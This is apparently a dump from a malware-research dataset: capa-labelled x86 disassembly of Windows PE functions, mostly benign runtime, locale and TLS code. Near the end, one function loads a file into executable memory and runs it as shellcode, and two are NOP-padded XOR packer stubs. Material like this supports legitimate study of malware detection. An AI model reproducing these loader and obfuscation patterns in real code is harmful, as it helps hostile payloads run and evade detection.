joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b268
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x42b28f
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x42b292
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0042b244
pop esi
leave
ret 8

Function at 0x42d0d2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42d111
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42d111
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42d111
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42d111
cmp dword [ecx + 0x74], 0xe
jbe 0x42d111
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42d660
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x44d100]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x42d687
mov ecx, 5
int 0x29
push 2
call fcn.0042d176
push 0x50
lea eax, [ebp - 0x320]
push 0
push eax
call sub.msvcrt.dll_memset
push 0x2cc
lea eax, [ebp - 0x2d0]
push 0
push eax
call sub.msvcrt.dll_memset
lea eax, [ebp - 0x320]
add esp, 0x1c
mov dword [ebp - 0x328], eax
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x228], edx
mov dword [ebp - 0x22c], ebx
mov dword [ebp - 0x230], esi
mov dword [ebp - 0x234], edi
mov word [ebp - 0x208], ss
mov word [ebp - 0x214], cs
mov word [ebp - 0x238], ds
mov word [ebp - 0x23c], es
mov word [ebp - 0x240], fs
mov word [ebp - 0x244], gs
pushfd
pop dword [ebp - 0x210]
mov eax, dword [ebp + 4]
mov dword [ebp - 0x218], eax
lea eax, [ebp + 4]
mov dword [ebp - 0x20c], eax
mov dword [ebp - 0x2d0], 0x10001
mov eax, dword [eax - 4]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp + 4]
mov dword [ebp - 0x320], 0xc0000417
mov dword [ebp - 0x31c], 1
mov dword [ebp - 0x314], eax
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x42d792
test esi, esi
jne 0x42d792
push 2
call fcn.0042d176
add esp, 4
push 0xc0000417
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0042c2fe
mov esp, ebp
pop ebp
ret
Function at 0x439390
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60000
jae 0x4393ba
mov eax, 2
pop ebp
ret
push esi
call fcn.0042d4b0
mov esi, eax
mov eax, dword [ebp + 8]
mov edx, dword [esi + 0x70]
mov ecx, edx
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
inc eax
cmp eax, 3
ja case.default.0x4393da
jmp dword [eax*4 + 0x439410]
or edx, 2
lea eax, [ecx + 2]
mov dword [esi + 0x70], edx
pop esi
pop ebp
ret
and edx, 0xfffffffd
mov dword [esi + 0x70], edx
lea eax, [ecx + 2]
pop esi
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
call fcn.0042d5f0
or eax, 0xffffffff
pop esi
pop ebp
ret

Function at 0x439420
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x44d100]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x43951b
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x43951b
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x43947a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x439458
jmp 0x43951b
cmp edx, 0x200
jae 0x439581
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x43951b
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x43951a
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x43951a
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x439563
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x439500
pop edi
mov eax, dword [0x44e1c8]
test eax, eax
jne 0x439541
push 0x4462f8
call fcn.0043a290
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x43953c
or eax, 0xffffffff
mov dword [0x44e1c8], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x43956f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042c2fe
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x43951a
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c2fe
mov esp, ebp
pop ebp
ret
call fcn.0042c595
int3

Function at 0x439880
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.004398b0
mov esi, dword [ebp + 8]
test al, al
je 0x43989e
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.004398c0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4399f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 2
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x439a4c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x439a4c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x439a4c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x439a4c
cmp dword [ecx + 0x74], 0xe
jbe 0x439a4c
cmp dword [ecx + 0xe8], 0
je 0x439a4c
push dword [ebp + 8]
call fcn.004398c0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x44e1d4
call fcn.00439690
add esp, 8
cmp dword [ebp - 8], 0
jne 0x439a81
push dword [ebp + 8]
call fcn.00439880
mov esp, ebp
pop ebp
ret

Function at 0x439ac0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x439b1c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x439b1c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x439b1c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x439b1c
cmp dword [ecx + 0x74], 0xe
jbe 0x439b1c
cmp dword [ecx + 0xe8], 0
je 0x439b1c
push dword [ebp + 8]
call fcn.004398c0
add esp, 4
lea eax, [ebp - 0xc]
mov byte [ebp - 1], 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 1]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 0x44e1d4
call fcn.00439690
add esp, 8
cmp dword [ebp - 8], 0
jne 0x439b51
push dword [ebp + 8]
call fcn.00439880
mov esp, ebp
pop ebp
ret
Function at 0x10001000
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push eax
cmp dword [esp + 0x10], 3
jne 0x100010a8
cmp dword [esp + 0x14], 0
jne 0x100010a8
push dword [0x10060924]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x10001051
mov esi, eax
push 0
push dword [0x10060924]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [esi + 8]
test eax, eax
je 0x10001048
push eax
call fcn.10027969
add esp, 4
push esi
call fcn.10027969
add esp, 4
mov eax, dword [0x100615a4]
mov ecx, dword [eax]
mov edx, esp
push 0x10006
push edx
push eax
call dword [ecx + 0x18]
cmp dword [esp], 0
je 0x100010a8
mov eax, dword [0x100615a4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
je 0x100010a8
push 2
call fcn.1001feae
add esp, 4
push eax
push 1
push 0x34
push str._LWJGL__Failed_to_detach_native_thread_from_the_JVM.
call fcn.10027984
add esp, 0x10
push 2
call fcn.1001feae
add esp, 4
push eax
call fcn.10027606
add esp, 4
mov eax, 1
add esp, 4
pop esi
ret 0xc

Function at 0x100010c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebx
push edi
push esi
sub esp, 0xc
mov esi, ecx
push dword [0x10060924]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, eax
test eax, eax
jne 0x10001142
mov eax, dword [0x100615a4]
mov ecx, dword [eax]
lea edx, [esp + 4]
push 0x10006
push edx
push eax
call dword [ecx + 0x18]
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x10001100
mov dword [esp], 0
jmp 0x1000111f
mov eax, dword [0x100615a4]
mov ecx, dword [eax]
lea edx, [esp + 8]
push 0
push edx
push eax
call dword [ecx + 0x1c]
mov ebx, dword [esp + 8]
test ebx, ebx
je 0x10001151
mov al, 1
mov dword [esp], eax
push 0x14
push 1
call fcn.100275fb
add esp, 8
mov edi, eax
mov eax, dword [esp]
mov byte [edi], al
mov dword [edi + 4], ebx
push edi
push dword [0x10060924]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
movzx eax, byte [edi]
mov byte [esi], al
mov eax, dword [edi + 4]
add esp, 0xc
pop esi
pop edi
pop ebx
ret
push 2
call fcn.1001feae
add esp, 4
push eax
push 1
push 0x32
push str._LWJGL__Failed_to_attach_native_thread_to_the_JVM.
call fcn.10027984
add esp, 0x10
push 2
call fcn.1001feae
add esp, 4
push eax
call fcn.10027606
add esp, 4
push 1
call fcn.1002696b
int3

Function at 0x10001190
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, dword [esp + 4]
mov dword [0x100615a4], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x10060924], eax
cmp eax, 0xffffffff
je 0x100011b1
mov eax, 0x10006
ret 8
push 2
call fcn.1001feae
add esp, 4
push eax
push 1
push 0x2a
push str._LWJGL__Failed_to_allocate_TLS_for_JNIEnv.
call fcn.10027984
add esp, 0x10
push 2
call fcn.1001feae
add esp, 4
push eax
call fcn.10027606
add esp, 4
mov eax, 0x10006
ret 8
Function at 0x100051f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x40
movzx eax, word [esp + 0x5c]
mov dword [esp + 0x3c], eax
movzx eax, word [esp + 0x60]
mov dword [esp + 0x38], eax
movss xmm0, dword [esp + 0x64]
movzx eax, byte [esp + 0x68]
mov dword [esp + 0x34], eax
movzx eax, byte [esp + 0x6c]
mov dword [esp + 0x30], eax
movzx edi, byte [esp + 0x70]
movzx ebx, byte [esp + 0x74]
movzx ebp, byte [esp + 0x78]
movzx esi, byte [esp + 0x7c]
movzx edx, byte [esp + 0x80]
movzx ecx, byte [esp + 0x84]
movzx eax, byte [esp + 0x88]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], edi
mov eax, dword [esp + 0x30]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
movss dword [esp + 8], xmm0
call dword [esp + 0x8c]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret 0x40

Function at 0x10019690
Capabilities:
Set thread local storage value

Disassembly:
push ebx
push edi
push esi
mov ebx, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
shl edi, 2
push edi
call fcn.10027c83
add esp, 4
mov esi, eax
push edi
push dword [ebx]
push eax
call fcn.1001f650
add esp, 0xc
mov dword [ebx], esi
push 0x14
push 1
call fcn.100275fb
add esp, 8
mov edi, eax
mov dword [eax + 4], ebx
mov dword [eax + 8], esi
mov dword [esi + 8], eax
push eax
push dword [0x10060924]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, edi
xor edx, edx
pop esi
pop edi
pop ebx
ret 0xc

Function at 0x1001b580
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov ecx, dword [esi + 4]
sub ecx, 1
js 0x1001b5ab
mov eax, dword [esi + 8]
lea edx, [eax + ecx*4]
mov eax, dword [edx]
movzx eax, word [eax + 6]
cmp eax, 4
je 0x1001b5be
cmp eax, 0xd
je 0x1001b5be
sub edx, 4
sub ecx, 1
jns 0x1001b593
mov eax, dword [esi]
sub eax, 1
je 0x1001b5cc
sub eax, 2
je 0x1001b5c5
mov eax, 2
pop esi
ret
mov eax, 1
pop esi
ret
mov edx, 0x1001e300
jmp 0x1001b5d1
mov edx, 0x1001e240
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0x18]
sub edx, eax
sub edx, 0xa
mov dword [ecx + 1], eax
mov eax, dword [esp + 0x10]
mov byte [ecx], 0xb8
mov byte [ecx + 5], 0xe9
mov dword [ecx + 6], edx
mov dword [ecx + 0x14], eax
mov eax, dword [esp + 0x14]
mov dword [ecx + 0x10], esi
mov dword [ecx + 0x18], eax
xor eax, eax
pop esi
ret
Function at 0x1001c890
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
cmp dword [0x10060988], 0
jne 0x1001c927
push 0x10060980
mov dword [0x10060990], 0xffffffff
mov dword [0x10060994], 0x200000
mov dword [0x10060998], 7
call fcn.1001c820
add esp, 4
cmp dword [0x10060984], 0
jne 0x1001c8f2
mov eax, dword [0x10060998]
mov dword [0x10060984], 0x58585858
mov dword [0x10060b58], 0
mov dword [0x10060b54], eax
xor eax, eax
mov ecx, 0x10060980
xchg dword [ecx], eax
lea eax, [esp]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 4]
mov dword [0x10060988], edx
mov dword [0x1006098c], ecx
lea eax, [ecx - 1]
test ecx, eax
jne 0x1001c92d
lea eax, [edx - 1]
test edx, eax
jne 0x1001c92d
xor eax, eax
add esp, 0x24
ret
call fcn.100275b7
int3
Function at 0x100269b5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100269f4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100269f4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100269f4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100269f4
cmp dword [ecx + 0x74], 0xe
jbe 0x100269f4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x100282f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002831d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002831d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x10028694
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003d480
push 0x1003d478
push str.FlsAlloc
push 0x1f
call fcn.10028aab
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100286c8
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x100286ce
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10028712
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003d490
push 0x1003d488
push str.FlsGetValue
push 0x21
call fcn.10028aab
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10028749
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10028751
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1003d498
push 0x1003d490
push str.FlsSetValue
push 0x22
call fcn.10028aab
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002878b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1002eebe
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1002ef5b
push ebx
push esi
call fcn.1002ef5e
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002edc2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002ef08
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002ef5a
push edi
push eax
call fcn.1002a7a9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1002ef28
call fcn.10029e01
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002ef59
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002edc2
add esp, 0x20
test eax, eax
jne 0x1002ef47
push edi
call fcn.10029e01
jmp 0x1002ef4f
push ebx
call fcn.10029e01
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10034ce9
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.10028e0b
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10028e0b
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x10034d60
cmp word [ecx], dx
je 0x10034d60
mov eax, dword [0x1003f31c]
push edi
dec eax
push eax
push 0x1003f208
call fcn.10034ed9
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x10034dd3
cmp word [eax], dx
je 0x10034dd3
mov eax, dword [edi]
test eax, eax
je 0x10034d84
cmp word [eax], dx
je 0x10034d84
lea eax, [ebp - 0x10]
push eax
call fcn.10034f3a
jmp 0x10034d8d
lea eax, [ebp - 0x10]
push eax
call fcn.10035228
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x10034dfd
mov eax, dword [0x1003f204]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1003eef8
call fcn.10034ed9
add esp, 0xc
test al, al
je 0x10034dfd
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x10034dc8
cmp word [eax], di
je 0x10034dc8
lea eax, [ebp - 0x10]
push eax
call fcn.10034f3a
pop ecx
jmp 0x10034dff
lea eax, [ebp - 0x10]
push eax
call fcn.10035228
jmp 0x10034dc5
mov eax, dword [edi]
test eax, eax
je 0x10034dea
cmp word [eax], dx
je 0x10034dea
lea eax, [ebp - 0x10]
push eax
call fcn.1003535c
pop ecx
jmp 0x10034dfd
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x10034ec8
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.1003544e
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10034ec8
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x10034ec8
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x10034ec8
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10034e55
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.100288ee
test ebx, ebx
je 0x10034ec3
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.100288ee
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10034ec8
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x10034ec8
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.100396d3
add esp, 0x10
xor eax, eax
inc eax
jmp 0x10034eca
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001e3c1
leave
ret
Function at 0x10035554
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.10028e0b
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x100355c3
cmp esi, dword [ebp - 4]
je 0x100355be
cmp dword [ebp + 0xc], 0
je 0x100355be
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1003559b
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.1003561d
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x100355c5
xor eax, eax
inc eax
jmp 0x100355c5
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x61580ebc
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..tls
mov ebx, 0x42f314
nop
nop
mov ecx, 0x43e338d
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x456266be
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x42c20dcb
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219